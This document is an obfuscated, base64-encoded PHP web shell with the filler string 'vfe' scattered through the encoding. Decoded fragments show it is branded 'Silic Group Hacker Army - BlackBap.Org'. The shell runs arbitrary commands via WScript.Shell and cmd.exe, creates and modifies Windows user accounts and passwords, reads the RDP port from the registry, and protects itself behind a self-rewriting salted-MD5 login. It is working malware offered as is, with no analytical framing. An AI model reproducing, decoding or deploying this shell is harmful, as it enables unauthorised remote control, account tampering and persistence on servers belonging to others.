s3Ovfe78Dtwrevfe+tqOsz+C21MS/wrzKx7vfefxvvfe8my2df3zrSy4srUIDotKDxicj4vfeKyLfIvfez8vfeS/serCt762v8nQtvfeDxicj48YnIvfe+CtvfeG5y/XOxLz+wre+tqO6PGJyPvfego8vfeaW5wdvfeXQgdHvfelwZT0idGV4dCIgbmFtZTvfe0ievfemZpbGUiIGlkvfePSJ6ZvfemlsZSIgdmFsdWU9vfeInskemvfeZpbGV9IvfeiBzdHlsZT0id2lvfekdGg6NzIwcHg7Ij48vfeYnI+PGJyPgrEvvfe7Hqwre+tqO6CjxpbnBvfe1dCBvfe0eXBlPSJ0vfeZvfeXh0IvfeiBuYW1lPSJqeXB0IiBpZD0ianlwdvfeCIgdmFsdvfeWUvfe9InvfeskanlwdH0iIHN0eWxlPSJ3aWR0aDo3vfeMjBweDsiPjxicj48YnI+CjxpbnB1vfedCBvfe0eXBlPSJzdWJtvfeaXQiIHZhvfebHVlPvfeSK/vfeqsqvfe8veLRuSIgc3R5vfebGU9IndpZHRoOjgwcHg7Ij48YnI+PGJyPvfejxicj4KeyR0aXB9PGJyPjxicj48YnI+PC9mb3JtPjwvZGvfel2PgpFTkQ7Cn0vfeKLy9XvfeaW5kb3dz1+mvfe8/r3Tv9vfeoKZvfenvfeVuYvfe3vfeRpb24gvfed2vfeluc2hlbGwoKQp7CivfeRub3A9JyZvfeuYnNwOyZuvfeYvfenNwOyc7CmlmvfeKCvfeRfR0VvfeUWyd3avfeW5zaGVsbCddPT0nd3vfeNjcmlwdvfeCcpewokd2NtZD0kX1BPvfeU1RbJ3vfedvfejbWQnXSAvfe/IvfeCRfUE9TVFsnd2NtvfeZCddOiduvfeZXQgdXNlcic7CiR3Y3B0aDvfe0kX1BPU1RbJ3djcHRoJ1vfe0gPvfeyAkXvfe1vfeBPU1RvfebJ3vfedvfejcHRovfeJ106Jvfe2NtZC5leGUnOwpwcvfemludDw8vfePEVORAo8ZGl2IGNsYXNvfezPvfeSJhY3RhbGwivfePgo8Zm9vfeybSBhY3Rpb249Ij9zPWprJndpbnNoZWxsvfePXdzY3JpcHQivfeIG1lvfedGhvZD0ivfeUE9TVCI+CjxpbnvfeB1dCB0eXBlPSJoaWRkZvfeW4iIG5hbWvfeU9ImvfeRvIiBpZD0ivfeZG8iIHZhbvfeHVlPSJkbyI+PGvfeJyPgp7JG5vcH08aW5wdXQgdHlwZvfeT0idGV4dCIgbmFtZT0id2NtZCIgavfeWQ9IndvfejbWQiIHZhvfebHVlPSvfeJ7JHdvfejcHRofSIvfegc3R5bGU9IndpZHRoOjMvfewMHB4OyI+IC0mZ3Q7IENNRMvfeK3vrY8YnIgLz4KeyRub3B9PGlvfeucHvfeV0IHR5cGU9vfeInRleHQiIG5hbWUvfe9vfeIndjvfebWQiIGlkvfePSJ3Y21kIivfeBvfe2YWvfex1ZT0ivfeeyR3Y21vfekfSIgc3R5bGvfeU9IndpZHRoOjMwMHB4OyvfeIvfe+IDvfexpbnvfeB1dCB0eXBlPSJzdWJtaXQiIHZhbHvfeVlPSLWtNDQIiBzdHlsZT0id2lkdGg6ODBweDsivfePgo8YnI+PGJvfeyPjxicj48L2Zvcmvfe0+PC9kvfeaXY+CkVORDsvfeKaWYoJFvfe9QT1NUWvfeydkbyddPTvfe0nZG8nKXsKJvfeHd3PSR3Y3B0aC4iIC9jIvfeCIvfeuJHdjbWQ7vfeCvfeiRwaHB3c2vfeg9bmvfeV3IENPvfeTSvfegiV3NvfejcmlwdC5TvfeaGVsbCIvfepIvfeG9yIGRpvfeZSgivfetLvfeS9qFNoZWxsLldzY3JpcHTX6bz+yqew3vfeCIpOwokvfecGhwZXhlYz0kcvfeGhwd3NvfeovfeLT5leGVjKvfeCRvfe3dvfeyk7CiRlevfeGvfeVjb3V0cHV0PSRvfe3c2hleGVjLT5zdGRvfevdvfeXQoKTsKJHvfeJlc3VsdD0kZXhlY291dHB1vfedvfeC0+vfecvfemVhZGFsbCgpvfeOwplY2hvvfeICRyZXN1bHQ7CkAkcGhwd3NoLT5SZWxlYXNlKCk7CvfeiRwaHB3c2g9TlVMTDsKvfefQp9ZWxzZWlmvfeKvfeCRfR0VUvfeWyd3avfeWvfe5zaGVsvfebCddPT0ncvfe2hlbGx1c2VyJyl7CiRvfe3vfedXNlcj0kvfeX1BPU1vfeRbvfeJ3d1c2VyJ10gvfePyAvfekX1BPUvfe1vfeRbJ3dvfe1c2VyJvfe106J3NpbGljJzsKJHdvfewYXNvfe3PSRfUE9TVFsnd3Bhc3cvfenXSA/ICRfUE9TVFsnd3Bhc3cnXTonMTvfeIzNEBvfezaWxpYyMnOwpvfewcmludDwvfe8vfePEVORAvfeovfe8ZGl2IGNsYXNzPSJhY3RhbvfeGwiPvfego8Zm9ybvfeSBhY3Rpbvfe249Ij9zPWpvferJndpbnvfeNovfeZWvfexsPvfeXNoZWxsdXNvfelciIgbWV0aG9kPSJQTvfe1NUIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgvfebmFtZT0iZG8iIGlkvfePSJkbvfeyIgdmFsvfedvfeWU9ImRvIj48YnI+ClNoZWxsLlVzZvfeXJz1+m8vfe/sztvNO5vfe3MDt1LE8YnI+PGJyPgvfep7JG5vcH3Qwr2o0vfe8O7p8P7o7o8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0id3VvfezZXIiIGlkPSJ3dXNlciIgdvfemFvfesdWU9Inskd3VzZXJ9vfeIiBzdHvfelsZT0idvfe2lkdvfeGg6MTAwcHg7Ij48YnIvfe+Cvfenskbmvfe9wfdDC08Ovfe7p8PcwuvfeuvfejuvfejxpbnBvfe1dvfeCB0eXBlvfePSJ0ZXh0IvfeiBuYW1lPvfeSJ3cGFzvfedyIgaWQvfe9IvfendwvfeYXN3IvfeiB2YWx1ZT0ieyR3cGFzd30iIHNvfe0eWxlPSJ3aWR0aDoxvfeMDBweDsiPjxicj48YnI+CjxpbnB1dCB0eXBlvfePSJzdWJtaXQivfeIHZhbHVlvfePSvfeLM7bzTIiBzdHlsZT0id2lkdGg6ODBweDsiPgovfe8YnI+vfePGJyPjxivfecjvfe48L2Zvfevcm0+PvfeC9kaXY+vfeCkVORDsKaWYovfeJF9QT1NvfeUWvfeydkbyvfeddPSdkbycpewokc2hlbGwgvfePSBuZXcgQ0vfe9NKCJTaGVsbC5Vcvfe2VycyvfeIpOwovfekY21kID0gJvfeHNoZvfeWxsLT5jvfecvfemVhdGUoJHdvfe1c2VyKvfeTsKJGNtZC0+vfeY2hhbmdlUGFzc3dvfevcmvfeQoJHdwYXN3LCIiKTsKJGNtZvfeC0+c2V0dGluZ1siQWvfeNjb3VudFRvfe5cGUivfeXSvfeA9IDvfeM7Cn0KvfefWvfeVsc2VpZigkX0dFVFsnd2vfeluc2hlbGwnXT09vfeJvfe3JlZ2VkvfeaXQnKXsKvfeJHJlZ3BhdGg9JF9QT1NUvfeWydyZWdwYXvfeRoJ10gPyAkX1BPU1RbJ3JlZ3BhdGgnXTvfeonSEtFWV9MT0NvfeBTF9NQUNvfeISvfeU5vfeFXFxvfeTWVNURU1cXENvbnRyvfeb2xTZvfeXQwMDFcXENvbnRyb2xcXFRlcmvfe1pbmFsIFNlcnZlclxcV2RzXFvfexyZHB3ZFxvfecVGRzXFx0vfeY3BcXFBvcnROdvfeWvfe1iZXInOwpwcmludDw8PEVORAo8ZGl2IvfeGNsYXNzPSJvfehvfeYvfe3RhbvfeGwiPgvfeo8vfeZvfem9ybSBhY3Rpvfeb249Ij9zvfePWprJndpbnNvfeoZvfeWxsPXJlZ2VkaXQiIG1ldGhvZD0iUE9vfeTVCI+CjxpbnB1dCB0eXBvfelPSJoaWRkZW4iIvfeGvfe5hbWU9ImRvIiBpZD0iZG8iIHZhbHVlPSJvfekvfebyI+PGvfeJyPgpSZvfeWdSZWFkKvfeCm6r8r9tsHIodeisuGx7cTayNvfe0oU2hvfelbvfeGwvfeuV3NjcvfemlwdNfpvP4vfepPGJyPjxivfecvfej4K16Ky4bHtvfewvfere+tqO6vfePGJyPgp7JG5vcH08aW5wdvfeXvfeQgvfedHlwZT0idGV4dCIgvfebmFtZvfeT0icmVncGF0aCIgaWQ9InvfeJlZ3BhdGgiIHZhbHVlPSJ7JHJlZ3BhvfedGh9IiBzdHlsZT0id2lvfekdGg6NvfezIvfewcHg7vfeIj48YnI+vfePGJyPgo8aW5wdXQgdHlvfewZT0ic3VibWlvfe0vfeIiB2YWx1ZvfeT0itsHIocTayN0ivfeIHN0eWxlvfePSJ3aWR0aDo4MHB4OyI+Cjxvfeicj4vfe8YnI+vfePvfeGJyPjwvZm9yvfebT4vfe8L2Rpvfedj4KRvfeU5EOwppZigkX1BPU1RbJ2RvJ109PvfeSvfedkbyvfecpvfeewokc2hlbGwgPSBuZXcgQ09NKvfeCJXUvfe2NyaXB0LvfelNoZWxsIikgb3IgZGlvfelKCK0tLvfe2oU2hlbGwuvfeVvfe3NjcmlwvfedNfpvPvfe7Kvfep7DcvfeIik7CnRyeXskcmVnaXN0cnlvfefcHJveHlzvfedvfeHJpbmcgvfePSAkc2vfehlbGwtPlJlZ1JlYWQoJHJlZ3BhdvfeGgpO30vfeKY2vfeFvfe0Y2goRXhjZXB0vfeaW9uICRlKvfeXtvfelY2vfehvICfvfeEvfe2svfejvfedOiAnLiRlvfeLT5vfenZXRvfeNZXNzYWdlKCk7vfefQplY2vfehvvfeICRvfeyZWdpc3vfeRyeV9wcmvfe94vfeeXN0cmluvfeZzsKfQp9ZWxzZXvfesKJHRpcvfeD0ivt2y4srUsb65psTcv8vfenTw7vfeXEvfev8nE3NDUzqrN8rfW1q7Suzxicj5XZWJzaGVsbvfeMvvfe51Nq3/vfes7xxvex2NDrzqpXaW5kb3dzzvfe7XNszxicj5QSFDM4cioutzB6bvuo6y1q8Tjvfe1Nq3x7Ovfejzt7EzrXEyrvfeG68r/J0tSzosvferUsb65psTcPGvfeJyPjwvaDU+vfePGJyPjvfexicj48YnI+vfeIjsKcHJpbnQ8PDxFTkQKvfePGRpdiBjbGFzcz0iYWN0YWxsIj48cHJlPgo8YnI+vfePGEgaHJlZjvfe0iP3M9vfeamsmd2lucvfe2hlbGw9d3vfeNjcmlwvfedCI+IFsgV1NvfejvfecmlwdNfpvfevP4gXSA8vfeL2E+vfePGJyPvfejxicj4KPGvfeg1PrG+uabE3Mq508NQSFC199PDV2luZG93cvfe9vfefpvfevP7W0vfeLXEvfeVvfe3NjcvfemlwdNfpvvfeP6hozxicjvfe4KVvfe3NjcvfemvfelvfewdMvfe6qtffTw2NtZMP8we7X6vfebz+PGJyPvfensvfekdvfeGlwfTxhvfeIGhyZWY9Ij9zPWprJndpvfebnNoZWxsPXNoZvfeWxsdXNlciI+IFsgU2hlbvfeGwuVXNlctfpvP4gXSA8L2E+PGJyPvfejxicj4KPGg1PrvfeGvfe+uabE3Mqvfe5vfe08NQSFvfeC199PDvfeV2luZG93c9fpvPvfe7vfeW0LXEUvfe2hlbvfeGwudXvfeNlvfectfpvP48YnI+vfeCvfelVTRVLX6bz+zqpXaW5kb3dzz7XNs9PDu6ey2df3zvfe+C52NvfefpvP48vfeYnI+evfeyR0vfeaXB9PGEgaHJlZj0iP3M9amsmd2luc2hlbGw9cmVnZWRpdCI+IFsg16Ky4bHttsHIoSBdIDwvYT48YnI+PGJvfeyPvfegovfe8aDvfeU+sb65psTcyrnTw1BIULX30vfe8NXaW5kb3dzvfe1+mvfe8/tbQtcRTvfeaGVsbC5Xc2NyaXB0vfe1+m8/jxicj4KUmVnUmVhZCgpuvfeq/K/bbByKHPtc2z16Ky4bHtxNrI3Txicj57JHvfeRpcH08Lvfe3ByZT48L2Rpdj4KRU5EOvfewp9vfeCn0KLyoqtcfCvfevc/gudi/qsq8vfeKiovCvfemlmvfeKCRfR0VUWydzJ1vfe0gPT0gJvfe2xvZ291dCcpewoJc2V0Y29va2llvfeKCdhZvfeG1pbl9zaWxvfepY3Bhc3MnLvfeE5VTvfeEwpOwoJZGllKCcvfe8bvfeWVvfe0YSBodHRwLWVxdWl2PSJyZWvfeZyZXNoIiBjb250ZW50PvfeSIwO1VSTD0/Ivfej4vfenKTsKfWvfeVvfescvfe2VvfepvfeZivfegkvfeX0dFVFsncyddID09ICdjaCcvfepewovfekb2xkcHvfeM9bWQ1KG1kNShvfetZDvfeUodvfeHJpbSvfegkc2vfeFsdC4kX1BPvfeU1RbJ29sZHBzJ10vfepvfeKSkpOwokbmV3cHM9YmFzZvfeTYvfe0X2VuY29kvfeZShiYXNvfelNjRfZGVjbvfe2RlKCdKSEJoYvfezNOvfeM2vfeIzSmtQU0k9JykvfeubWQ1KG1kNShtZDUodHJpbSvfegkvfec2FsdC4kX1BPU1RbJ25ldvfe3vfeBvfezJ1vfe0pKSkpLmvfeJhc2Uvfe2NF9kZvfeWNvZGUoJ0lqcz0nKSk7CnByaW50PDw8RU5ECjxkaXYgY2xhc3M9ImvfeFvfejdGFsvfebCI+PGZvvfecm0gvfeYWN0aW9uPSI/cvfez1jaCIgbvfeWvfeV0aG9kPvfeSJQT1NUIj4KPGlucHV0IHR5cGU9ImhpZGRvfelbiIgbmFtZT0iYvfe2giIGlkPSJjvfeavfeCIgdmFsdWvfeU9ImNoIj48YnIvfe+Ciog0N64xLG+s8zQ8rXHwr3D3MLrKMn308Mhv8nEvfe3Lvh1OvfeyzybPM0PLKp8vfeilz+zTvfepik8YnIvfe+Ciogsb6zzNvfeDy08k8YSBocmvfeVmvfePSJodHRwOi8vYmxhY2tiYXAuvfeb3JnIvfeiBfdGFyZvfe2V0Il9ibGvfeFuayI+U2lsaWMgR3JvdXvfeA8L2vfeE+vfeu/nT2vfelNwaWRlvfecvfesS+wu2vfe/qreio6vfeyxvrDmyse7+dPaU3BpZGVyvfexLvfe7C7b/yvNy1xLXazuW0ztbY0MvfeK/qreiPGJyPgvfeoqILG+s8zQ8rLvfeJ08PI/bvfeLjTUQ1K1NvfehbHSvfe80vfe8PcvNO2/vferTOc2Vzc2vfelvbrzTvfew9yjrLTzv8myu7HYtaPQxLG7yMvJ57mkPGJyPgoqIvfeLXazuvfeWw5tb30qq4vfe/NvfeDvfeCovfe7rJvsilRlRvfeQstnX9yzXorLhse2y2dfvfe3LFNovfeZWxvfesY29kZdequ7ujrM3qyca6zbexu6vferP1tPQtcSvfe5psTco6vfezQvfe3tvfeX9z9bT0LmvfemxNy1xLK/t9ZidWejrvfeNPFu6+0vfe+sLrPGJvfeyPgoqIFvfeNpbGljvfeIEdyb3VwIEhhvfeY2tlcivfeBBcmvfe15IC0gvLzK9bmyvfez+0svLzK9dfU0vfe8kvfesvLvfezvfeK9dSttLQsvLzK9vfebvfe3vfe4sr08YnI+vfeCvfeiogPGEgaHvfeJlZjvfe0iavfeHR0cDovfevL2JsYWNrYmFwvfeLm9yZyIgdGFyZ2V0vfePSJfYmxhbmsiPkJsYWNrQmFwLkvfe9yZzwvYT48YnI+PGJyPgq+ycPvfecvfewvfeuujujxpbnB1dvfeCBvfe0eXBlPSJ0ZXh0IiBvfeuYvfeW1lPSJvbGRwcyIgaWQ9vfeIvfem9sZHBvfezIiB2YvfeWx1ZT0vfeiIiBzdHlsZT0id2lkdGgvfe6MTIwcHg7Ij48YnIgLz4K0MLD3MLro7o8avfeW5vfewdvfeXQgdHlvfewZT0idGV4dCIgbmvfeFtZT0ibvfemV3cHvfeMiIGvfelkPSJuZXdwcvfeyIgdmFsdWU9vfeIiIgcvfe3Rvfe5bGU9IvfenvfedpZHRoOjEyMHB4OyI+PGvfeJyPgo8aW5wdXQgdHvfelwZT0vfeic3VibWl0IiB2YWx1ZT0iuPvfeyvfe4vfexvfeCIgc3R5bGU9InvfedpZHRoOjgwcHg7Ij4KPGJvfeyPjxicj48YnvfeI+PC9mb3JtPjwvZGl2PvfegvfepFTkQ7CmlmKvfeCRvfefUE9TVFsnY2gnXT0nvfeY2vfegnICYmICRvbGRwcz09JHBhc3N3b3JkICYmICFlbXvfeB0eSgkX1BPU1RbJ25ld3BzJvfe10pKQvfep7CiRkbGluZT0vfexOTsKJGvfeNocHNvfeBcnI9ZmlsZvfeShfX0ZJTEVfXyk7CiRjaHNpemU9Y291bnQoJGNocHNBcnIpOwvfepmb3IvfeoJGNoaT0wvfeOyAkY2hpvfePCAkY2hzaXplOyAkY2hpKyspewppZivfegkY2hpPvfeT0kZGxpvfebmUtMSl7JGvfeNocHNvfeTdHIuPWJhc2U2NF9kZWNvvfeZvfeGUoJG5ld3BzKS4iXHJcbiI7fQplbvfeHNlevfeyRjaHBzvfeU3RyLvfej0kY2hwc0FyclskY2hpXTt9vfeCn0KZmlsZV9wdXRvfefY2vfe9udGVudHMovfeX19GSUvfexFX18sJGNvfeocHNTdHIpOwplYvfe2hvfevICKvfe4/LjEs8m5piI7Cn1lbHNle2VvfejaG8gIsO709Cvfe4/LjEw9zvfeC6yIvfe7fQpvfe9ZWxvfezZWlmKG1kvfeNShtZDUvfeobWQ1KCRzYWx0LnRyaWvfe0oJF9HRVvfeRbJ3MnXSkpvfeKSkgPTvfe0gvfeJHBhcvfe3Nvfe3b3JkKXvfesKvfeJvfeGFzc2U9JGFzc2V7MHvfe0uJvfeGvfeFzc2vfeV7MX0uJGFzc2V7vfeMX0uJGFzc2V7Mn0uJGFvfezc2vfeV7M30uJGFzvfecvfe2V7NH07CvfekAkYXNzZSgkX1BPU1vfeRbJF9HRVRbJ3MnXV0vfepOwp9ZWxzZXsKvfeLy+1x8K9vfeCmZ1bvfemvfeNvfe0aW9uIFJvb3RfTGvfe9navfeW4oJvfeE1TR19UT1ApCnsKJvfeElQvfeID0gZ2V0aG9zdGvfeJ5bmvfeFtZSgkX1NFUlZvfeFUlsvfeiU0VvfeSVvfekVSX0vfe5BTUUiXSk7CnByaW50PDw8RUvfe5ECjxodG1sPgovfeJPGJvZHkgc3R5bGU9vfeImJhY2tncm91bmQ6Ivfe0FBQUFBQTsiPgoJCTxjZW5vfe0ZXI+CgkJPGZvcm0gbWV0aGvfe9kPSJQvfeT1NUIj4KvfeCQk8ZvfeGl2vfeIHN0eWxlPSJ3aWR0aDozNTFweDtoZWlnvfeaHQ6MjAxcvfeHg7bWFyZ2luLvfeXvfeRvcDoxMDBweDtiYWNrZvfe3JvdW5kOnRovfecmVlZGZhvfeY2U7vfeYm9yZGVyvfeLWNvfevbvfeG9yOiNGRkZGRkYgIzk5OTk5OSAjvfeOTk5OTk5ICvfeNGRkZGRkY7Ym9yZGVyLXNvfe0eWxlOnvfeNvvfebGlkO2JvvfecvfemRvfelci1vfe3aWR0aDvfeoxcHg7Ij4KvfeCQk8ZGl2vfeIHN0eWxlPSJ3aWvfeR0avfeDozNvfeTBweDtvfeoZWlnaHQvfe6MjJweDtwYWRkaW5nLXvfeRvcDvfeoycHg7Y29vfesb3vfeIvfe6vfeI0ZGRkvfeZGRjtiYWNrZ3JvdW5kOivfeMyvfeOTNGNUY7Y2xlYXI6Ym90aDsiPjxiPnskTVNvfeHvfeXvfe1RPUHvfe08L2I+PC9kaXY+CgkJPGRvfepdiBzvfedvfeHlvfesZT0ivfed2lkdGg6MzUvfewcHg7aGVvfepZ2h0OjgwvfecHg7bWFyZ2luvfeLXRvcDvfeo1MHvfeB4O2NvbG9yOiMvfewvfeMDAvfewvfeMDA7Yvfe2xlYXI6Ym90aDsiPvfelBBUvfe1M6PGlucHvfeV0IHRvfe5cGU9InBhc3vfeN3b3JkvfeIiBuYW1lPSJzaWxpY3Bhc3MiIHN0eWxvfelPSJ3aWvfeR0aDvfeoyvfeNzBweDvfesiPjwvZGvfel2PgvfeoJCTxkavfeXYgcvfe3R5bGU9IndpZHRovfeOjMvfe1MHB4O2hlvfeaWdodDozMvfeHB4O2NsvfeZWvfeFvfeyOmJvdGg7vfeIvfej48vfeaW5wvfedXQgdHlwZT0ic3VibWlvfe0IiB2YWx1ZT0iTvfeE9HvfeSvfeUvfe4vfeiIvfeHN0vfeeWxlPSJ3vfeaWR0aDo4MHB4vfeOyI+PC9kaXvfeY+CgvfekJPC9kaXYvfe+CgkJPC9mb3JvfetPgoJCTwvY2vfeVudGVyPgoJPC9ib2R5Pgo8L2hvfe0bWwvfe+CvfekvfeVOvfeRDvfesKvfecmV0dXJuIGZhbHNlOwp9Cvfei8vtLDM5QpmvfedW5jdvfeGvfelvbiBXaW5NYWluKCkKewoJJFNlcnZlcl9vfeJUCA9IGvfedldGhvc3RieW5hbWUvfeoJF9TRVJWRvfeVJbIlvfeNFUlZFUl9OQU1FIvfel0pOwoJJFNlcnZlcl9PUyA9vfeIvfeFBIUF9PUzsKCSRTZXJ2ZXJfU29mdCA9ICRfU0VvfeSVkVSWyvfeJTRVJWRVJfUvfe09vfeGVFdvfeBUkUiXTsKcHJpbvfenvfeQ8PDxFTkQKvfePGh0bWw+PGhlYWQ+PHRpdGxlPlNpbGlvfejIEdyb3VwIEhhY2tlciBBcmvfe15IC0gQmxhY2tCYXAuTvfe3JnPC90aXRsZT4KPHN0eWxlvfeIHR5cGvfeU9InRlevfeHQvY3NzIj4KKntwYWRkaW5nOjA7IG1vfehcmdpbjowO30KYm9vfekeXtiYWNrZ3JvvfedW5kOiNBQUFvfeBQvfeUE7Zm9udC1mYWvfe1pbHk6IlZlcmRhbmEiLCAiVGvfeFob21hIiwiy8vfe7M5SIsc2Fvfeucy1zZXJvfepZjtmb250LXNvfepevfemU6vfeMTNweDt0ZXvfeh0LWFsaWvfeduOmNvfelvfebnRlcjttYXJnaW4tdG9wOjVweDt3b3vfeJkLWJyZWFrOmJyZWFrLWvfeFsbvfeDt9CvfemFvfe7Y29sb3I6I0vfeZGRkvfeZGRjtvfe0ZXvfeh0LWRlYvfe29yYXRpb246bm9uZTt9vfeCmE6avfeG92ZXJvfe7YmFvfeja2dyb3VuZDojQkJCQkJCO30KLm9vfe1dHRhYmxle21hcmdpbjogMCBhdXRvO2vfehlaWdodDovfe1OTVwevfeDt3aWR0avfeDo5NvfeTVvfewevfeDtjb2xvcjovfejMDAwMDAwO2JvcmRlcivfe10b3Atd2lkdGvfeg6vfeIDJweDtib3JvfekZXItcvfemlnaHQtvfed2lkdGg6MnB4O2JvcmRlcvfei1ib3R0bvfe20td2lkdGg6IDJweDtib3JkZXItbGVmdC13avfeWR0aDogMnB4O2JvvfecvfemRlci10b3Avfetc3R5bGUvfe6IG91dHNvfeldDtib3JkZXItcmlnaHQtc3Rvfe5bGU6vfeIvfeGvfe91dHNlvfedvfeDtibvfe3JkZXItYm90dG9tLXNvfe0eWxlOiBvdXRzZXQ7Ym9yZGVyLWxlvfeZnQtc3R5bGU6IG9vfe1dHNldDvfetib3JkZXItdG9wLWvfeNvvfebG9yOiAvfejRkZGRkZGvfeO2JvcmRlcvfei1yaWdvfeodC1jb2xvcjogvfeIvfezhjOGM4vfeYztivfeb3JkZXItYm9vfe0dG9tLWNvbG9vfeyOiAjOGvfeM4YvfezhjO2JvvfecmRlci1sZvfeWvfeZvfe0LWNvbG9yOivfeAjRkZGvfeRkZvfeGO2JhY2tncm91bmQtY29sb3Ivfe6vfeIHRocmVlvfeZGZhY2U7fQoudG9wYmd7cGFkZGluZy10b3A6M3B4Ovfe2ZvbnQtc2l6ZToxMvfenvfeB4O3RlevfeHQtYWxpZ246bGVmdDtmb250vfeLXdlvfeaWdodDpibvfe2xkO2hlvfeaWdovfedDoyMnB4O3dpZHRoOjk1MvfeHB4O2NvbG9yOiNGRkZGRkY7YmFja2dyb3VuZDojvfeMjvfekzRjVGO30KLmxpc3RiZ3tmb250LWZhbWvfelseTonbHVjaWRhIGdyvfeYW5kZvfeScsdvfeGFobvfe21hLGhlbHZldGlvfejYSxhcvfemvfelhbCwnYml0cvfe3RyZWFtIHZlcmEgc2Fucvfeycsvfec2Fuvfecy1zZXJpZjtmb25vfe0LXNpevfemU6vfeMTNweDt3avfeWRvfe0aDoxvfeMzBwvfeevfeDt9Ci5saXN0YmcvfegbGvfelvfe7vfecvfeGFkZGluZzozcHgvfe7Y29vfesb3I6vfeIvfezAwMDAwMvfeDtoZWlnaHQ6MjVweDtkaXNwbGF5OmJsvfeb2NrO2xpbmUtaGvfeVpZ2h0OvfejI2cHg7dGV4dvfeC1pbmRlbnQ6MvfeHB4O30KLmxpc3RiZyBsaSBhe3BhZvfeGRpbmctvfedvfeG9wOjJweDtiYWNrZvfe3JvdW5kOiNCQkJCQkI7Y2vfe9vfesb3I6IzAwMDvfeAwMDtoZWlnaHQ6MjVweDtkaXNwvfebGF5OmJsb2NrO2xpbmUtaGVpZ2vfeh0OjIvfe0cHg7dGV4dC1vfepbmRlbnQ6MHB4Ovfe2JvcmRlci1jb2xvcjvfeojOTvfek5OTk5ICM5OTk5OTkgIzk5OTkvfe5OSAjOTk5OTk5O2JvcmRlci1zdHlsZTpzb2xpZDtib3JkZXItd2lkdGvfeg6MXB4Ovfe3RlvfeeHQtvfeZGvfeVjb3JvfehdGlvbjpub25lO30KLmZvb3RlcntwYvfeWRkavfeW5nLXRvvfecvfeDozcHg7dGV4dC1hbGlnbvfejogYvfe2VudGVyO2ZvfevbnQtc2l6ZToxMnB4O2ZvbnQtdvfe2VpZ2hvfe0OiBib2xkO2vfehlaWdodDoyMHB4O3dpZHRoOjk1MHBvfe4vfeO2NvbG9yOiMwMDAvfewMDA7YmFja2dyb3vfeVvfeuZDogIzvfeg4ODvfeg4ODt9Cjwvc3R5bGU+CvfejxvfezY3JpcHQvfegbGFuZ3vfeVhZ2Uvfe9IkvfephdmFTY3JvfepcHQiPgpmdW5jvfedvfeGlvbiBzd2l0Y2hUYWvfeIodGFiavfeWQpCnsvfeKaWYodGFiaWQgPvfeT0gJycpIHJvfeldvfeHVybiBmYvfeWxvfezZTsKZm9yKHZhcvfeiBpPTAvfe7aTw9MTU7aSsrKQp7CglpZih0YWvfeJpZCA9PSAndF8nK2kpIGRvfevvfeY3VtZW50LmdldEVsZW1lbnvfeRCevfeUlkKvfeHRhYvfemlkvfeKS5zdHlsZS5vfeiYWNrZ3JvdW5kPSIjRkZvfeGRkvfeZvfeGIjsKvfeCWVsc2UgZvfeG9jdWvfe1lbvfenQuZ2vfeV0RWxlbWVvfeudEJ5SWQovfeJ3RfJyvfetpKS5vfezvfedHlsZvfeS5iYWNrZ3JvdW5kPSIvfejQkJCQkJCIjsKfQvfepyZXR1cm4gdHJ1ZTsKfQvfeo8L3NjcmlwdD4vfeKPC9vfeoZWFkPgo8Ym9keT4KPGRpdiBjbGFvfezcz0ib3Vvfe0dGFibGUiPgo8ZGl2IGNsYXNzvfePvfeSJ0b3BivfeZyvfeI+Jm5ic3A7PGEgaHJlZj0ivfePvfe3M9bG9nb3vfeVvfe0IvfeiB0aXRsZT0vfeizvfecuvfez9iI+JiM4ODvfeU3OzvfewvYT4mbmJzcDsmIzvfeg4NTc7Jm5ic3A7PGEgaHJlZj0iPvfe3M9Y2giIHRhcmdlvfedD0ibWFpbiIgdGlvfe0bGvfeU9Irj8uMTD3vfeMLrIj4mIzg4NTc7vfePCvfe9hPiZuvfeYnNwOvfe3skU2VydmVyX0lQfSAtIvfeHskU2VyvfedmVyX09vfeTfSAtIHskU2VydvfemVyX1NvvfeZvfenR9PC9kaXY+Cgk8ZGlvfe2IvfeHN0vfeevfeWvfexlvfePSvfeJoZWlnaHQ6NTQ2cHg7Ijvfe4KCQk8dGFibGUgd2lkdGg9IjEwMCUiIGvfehlaWdodD0iMTvfeAwJSIgYm9yZGVvfeyvfePTAgY2VsbHBhZGvfeRvfepbmc9IjAiIGNlbGxzcvfeGFjaW5nPSIwIj4KCvfeQk8vfedHvfeI+PHRkIHdpZHRoPSIxNDvfeAiIGvfeFsaWduPSJjZW50ZXIiIHZhbGlnbj0idG9wIj4KCQkJPHVsIGNsYXNzPSJsaXN0vfeYmcivfePgo8bGk+PGEgaHJlZjvfe0iP3Mvfe9YSIgvfeaWvfeQ9InRfMvfeCIgvfebvfe25jvfebGljaz0vfeivfec3dpdGvfeNvfeoVGFiKCd0XzAnKvfeSIgc3R5bGU9ImJhY2tncm9vfe1bmQ6I0vfeZGRkZGvfeRjsvfeiIHRhcmdldD0ibWFpbiI+zsS8/rncwO08L2Evfe+PC9vfesaT4KPvfeGxpPjxhIGhyZWY9Ij9zPWciIGlkPvfeSJ0XzEiIvfeG9uY2xpY2s9InN3aXRjaFRhYivfegndF8xJykiIHRhcmdldD0ibWFpvfebiI+1rTQvfe0MPvfe8we48vfeL2E+PvfeC9svfeaT4KPGxpPjxhIGhyZvfeWY9Ij9zPWkiIvfeGlkPSJ0XzIiIG9uY2xpY2s9InN3aXRjvfeavfeFvfeRhYigndF8yJykiIvfeHRhcmdldD0ibvfeWFpbiI+yajD6LbLv9o8L2E+vfePC9saT4KPGxpPvfejxvfehIGhyZWY9Ivfej9zPWYiIGlkPSJ0XzMiIG9uY2xpY2s9InN3avfeXRjaFRhYvfeigndvfeF8zvfeJvfeykivfeIHRhcmdldD0ibWFpbiI+z7XNvfes9DFzvfe6I8L2E+PC9saT4KPGxpPjxhvfeIvfeGhyZWY9Ij9zvfePW4vfeiIGlkPSJ0vfeXvfezQiIG9uY2xpY2s9InN3aXRjaFRhYigndF8vfe0vfeJvfeykiIHRhcmvfedldD0ivfebWFpvfebiIvfe+TVlTUUzvfeWtNDvfeQPC9hPjwvfevbGk+CjxsvfeaT48YSBvfeocmVmPSI/vfecz1vvfeIivfeBpZD0vfeivfedF81IiBvbmNsaWNrPSJzd2l0Y2hUvfeYWIoJ3RfNvfeScpIiB0YXJnZXvfeQ9vfeIm1haW4iPk1ZvfeU1FMudzA7TwvYTvfe48vfeL2xpPgo8bvfeGk+PGEvfegaHvfeJlZj0iP3M9vfecvfeHEiIGlkPSJ0XzYiIG9uY2xpY2s9InN3aXRjaFRh